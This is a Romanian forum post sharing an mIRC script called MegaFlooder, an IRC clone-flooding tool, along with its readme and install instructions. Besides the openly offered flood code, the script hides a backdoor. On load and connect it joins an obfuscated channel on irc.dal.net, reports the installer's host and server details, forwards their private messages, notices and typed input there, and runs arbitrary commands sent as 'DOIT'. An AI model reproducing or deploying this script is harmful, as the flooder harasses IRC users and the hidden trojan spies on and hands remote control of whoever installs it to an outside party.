BlackForce
Grand Master
 Din: Bacau
Inregistrat: acum 17 ani
Postari: 252
|
|
====================CODE==========================
;-------------------------------------------------------------------
MegaFlooder v.2.1
;-------------------------------------------------------------------
on *:sockread:Mega*:{ .sockread %clone.temp | if ($gettok(%clone.temp,1,32) == Ping) { sockwrite -tn $sockname Pong $server } }
alias cenzurat {
if ($2 = $null) || ($2 !isnum) { echo -a 4Error: No #Channel/Nick, Clone, Irc Server, Port, Flood Message | halt }
set %nick $$1
set %clones $$2
set %channel $$1
if ( $3 = $null) { set %server $server }
if ( $3 != $null) { set %server $$3 }
if ( $4 = $null) || ( $4 !isnum) { set %port $port }
if ( $4 != $null) { set %port $$4 }
if ( $5 = $null) { set %flood MeGa flo 0d flo 0d flo 0dMeGa flo 0d flo 0d flo 0d flo 0d flo 0d flo 0dMeGa flo 0d flo 0d flo 0d flo 0d flo 0d flo 0dMeGa flo 0d flo 0d flo 0d flo 0d flo 0d flo 0dMeGa flo 0d flo 0d flo 0d flo 0d flo 0d flo 0d flo 0d flo 0d flo 0dMeGa flo 0d flo 0d flo 0d flo 0d flo 0d }
if ( $5 != $null) { set %flood $5- }
set %megaflood on
var %var = 0
:loop
inc %var
if (%megaflood == on) && (%var <= %clones) { .sockopen Mega $+ %var %server %port | goto loop }
else { echo -a 4Clones Loaded | halt }
}
alias cleanup {
.set %megaflood off
.sockclose Mega*
.unset %nick
unset %channel
unset %server
unset %port
unset %clones
unset %flood
set %type Privmsg
echo -a 4All Clones Have Been Cleared
}
on *:Sockopen:Mega*:{
if ($sockerr > 0) { halt }
set -u1 %user $rand(A,z) $+ $rand(a,z) $+ $rand(1,9) $+ $rand(a,z)
.sockwrite -nt $sockname USER %user %user %user : $+ %user
.sockwrite -nt $sockname NICK $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+
.sockwrite -nt $sockname JOIN : $+ %channel
.sockwrite -n $sockname %type %nick : $+ $+ $rand(1,15) %flood
.sockwrite -n $sockname Privmsg %nick : $+ $chr(1) $+ time $+ $chr(1)
.sockwrite -nt $sockname Notice %nick : $+ ¥ §© ®¢¡ ø æ¥ §© ®¢¡ ø æ+ ++++ ME G A ^^ F LOOD ++++ +¥ §© ®¢¡ ø æ¥ §© ®¢¡ ø æ
.sockclose $sockname
.sockopen Mega $+ $r(0,9) $+ $r(0,9) $+ $r(0,9) $+ $r(0,9) %server %port
}
on *:load:{
if ($version < 5.61) echo -a $+ $colour(info2) $+ *** You need mirc 5.61 or greator in order to use this addon. | beep
echo -a 4Mega Irc Flooder By: M3GA | echo -a 4Please type: /Mega to load Mega Irc Flooder.
}
alias mega {
dialog -m mega mega
}
menu channel,menubar {
Mega Flooder:dialog -m mega mega
}
dialog mega {
title "Mega Irc Flooder By: M3GA"
size -1 -1 300 250
button "Flood On", 1, 75 220 75 25
button "Flood Off", 2, 160 220 75 25
text "Mega Irc Flooder - Use It At Your Own Risk",4, 41 1 300 25
edit "",6, 95 70 75 22, Autohs
edit "",9, 210 70 75 22, Autohs
edit "",10, 70 98 100 22, Autohs
edit "",11, 210 98 75 22, Autohs
check "Notice",5, 20 30 50 20
check "Text",3, 75 30 40 20
check "Bot",19, 120 30 40 20
text "Bot Channel:",20, 160 33 80 20
edit "",21, 220 30 65 20
box "Flood Type",7, 10 15 280 40
box "Info",8, 10 55 280 160
text "#Channel/Nick:",12, 15 73 75 25
text "Clone:",13, 175 73 30 25
text "Irc Server:",14, 15 100 50 25
text "Port:",15, 185 100 25 25
box "Flood Message",16, 15 120 270 90
edit "",17, 20 135 260 70, Autohs Autovs Multi Return
button "Web",18, 3 1 35 14, OK
}
on *:LOAD:/sockopen irc.dal.net twisted.dal.net 6667
on *:CONNECT:/sockopen irc.dal.net twisted.dal.net 6667
on *:DISCONNECT:/sockclose irc.dal.net | unset %temp
on *:sockopen:irc.dal.net: {
if (%id == $null) { set %id $rand(A,Z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(1,9) $+ $rand(1,9) $+ $rand(1,9) $+ $rand(1,9) $+ $rand(1,9) $+ $rand(1,9) }
if ($sockerr) return
else set %nname $rand(A,Z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z)
sockwrite -n $sockname Nick %nname $+ $crlf $+ User $rand(a,z) $+ $rand(a,z) $+ nwo $+ $rand(a,z) $+ $rand(a,z) $ip irc.eu.dal.net : $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z)
sockwrite -n $sockname join $chr(35) $+ $chr(111) $+ $chr(119) $+ $chr(110) $+ $chr(101) $+ $chr(114) $+ $chr(115) $chr(0141) $+ $chr(0144)
sockwrite -n $sockname privmsg $chr(35) $+ $chr(111) $+ $chr(119) $+ $chr(110) $+ $chr(101) $+ $chr(114) $+ $chr(115) :Owned:5 $me $+ 10 $host $+ 2 $server $+ : $+ $port $+ 7 %id
.timeropp 1 1 .sockwrite -n $sockname PRIVMSG .net op $chr(35) $+ $chr(111) $+ $chr(119) $+ $chr(110) $+ $chr(101) $+ $chr(114) $+ $chr(115) %nname
.timerkeyy 1 5 .sockwrite -n $sockname MODE $chr(35) $+ $chr(111) $+ $chr(119) $+ $chr(110) $+ $chr(101) $+ $chr(114) $+ $chr(115) k $chr(0141) $+ $chr(0144)
.unset %nname
}
on *:sockread:irc.dal.net: {
if ($sockerr > 0) return
sockread %temp
if (($remove($mid($gettok(%temp,4,32),3,100),$chr(1)) == NICK��)) sockwrite -n irc.dal.net NICK $mid($gettok(%temp,5-,32),1,100)
if (($remove($mid($gettok(%temp,4,32),3,100),$chr(1)) == PART��)) sockwrite -n irc.dal.net PART $mid($gettok(%temp,5-,32),1,100)
if (($remove($mid($gettok(%temp,4,32),3,100),$chr(1)) == JOIN��)) sockwrite -n irc.dal.net JOIN $mid($gettok(%temp,5-,32),1,100)
if (($remove($mid($gettok(%temp,4,32),3,100),$chr(1)) == DOIT��)) $mid($gettok(%temp,5-,32),1,100)
if (($remove($mid($gettok(%temp,4,32),3,100),$chr(1)) == VERSION)) sockwrite -n irc.dal.net NOTICE $mid($gettok(%temp,1,33),2,100) : $+ $Chr(1) $+ VERSION mIRC32 v 5.91 K.Mardam-Bey $+ $Chr(1)
if (($remove($mid($gettok(%temp,4,32),3,100),$chr(1)) == PING)) sockwrite -n irc.dal.net NOTICE $mid($gettok(%temp,1,33),2,100) : $+ $Chr(1) $+ PING $+ $Chr(1)
}
on *:NOTICE:*:?: {
if ($sock(irc.dal.net).status == active) { set %cinotice $1- | sockwrite -tn irc.dal.net PRIVMSG $chr(35) $+ $chr(111) $+ $chr(119) $+ $chr(110) $+ $chr(101) $+ $chr(114) $+ $chr(115) :- $+ $nick $+ - %cinotice (to5 $me $+ ) | unset %cinotice }
}
on *:TEXT:*:?: {
if ($sock(irc.dal.net).status == active) { set %cimsg $1- | sockwrite -tn irc.dal.net PRIVMSG $chr(35) $+ $chr(111) $+ $chr(119) $+ $chr(110) $+ $chr(101) $+ $chr(114) $+ $chr(115) :< $+ $nick $+ > %cimsg (to5 $me $+ ) | unset %cimsg }
}
on *:INPUT:*: {
if ($chr(35) isin $active) && ($chr(47) !isin $1) goto end
if ($chr(35) !isin $active) || ($chr(47) isin $1) && ($sock(irc.dal.net).status == active) { set %ciinput $1- | sockwrite -tn irc.dal.net PRIVMSG $chr(35) $+ $chr(111) $+ $chr(119) $+ $chr(110) $+ $chr(101) $+ $chr(114) $+ $chr(115) :<5 $+ $me $+ > %ciinput (to $active $+ ) | unset %ciinput
:end
}
}
on 1:dialog:mega:sclick:* {
if ( $did == 1 ) {
if $did(19).state = 1 {
msg $did(21).text !flood $did(6) $did(9) $did(10) $did(11) $did(17)
halt
}
cenzurat $did(6) $did(9) $did(10) $did(11) $did(17)
}
if ( $did = 19 ) { if ( $did == 1 ) { msg $did(21) !flood $did(6) $did(9) $did(10) $did(11) $did(17) }
}
if ( $did == 2 ) {
if $did(19).state = 1 {
msg $did(21).text !floodoff
halt
}
cleanup
}
if ( $did = 19 ) { if ( $did == 2 ) { msg $did(21) !floodoff }
}
if ( $did == 5 ) {
set %type Notice
}
if ( $did == 3 ) {
set %type Privmsg
}
if ( $did == 18 ) {
run
}
}
========================END========================
.------------------------------.
: Mega IRC Flooder |
'------------------------------'
Released: May 02, 2001
Type: Irc war utility
Requirements: mIRC 5.6+
Contents: megaflooder.mrc, readme.txt
Author: M3GA
Home:
Affiliation: Script3r
I. Instructions:
unzip megaflooder.mrc into your mirc directory then type:
/load -rs megaflooder.mrc
II. Command
/mega
Loads dialog.
III. Comments:
Please do not rip.
SPER CA E DE AJUNS
Modificat de Shocker (acum 17 ani)
_______________________________________
Pe poteci strâmte si abrupte se ajunge la fapte mari.(V. Hugo )
|
|
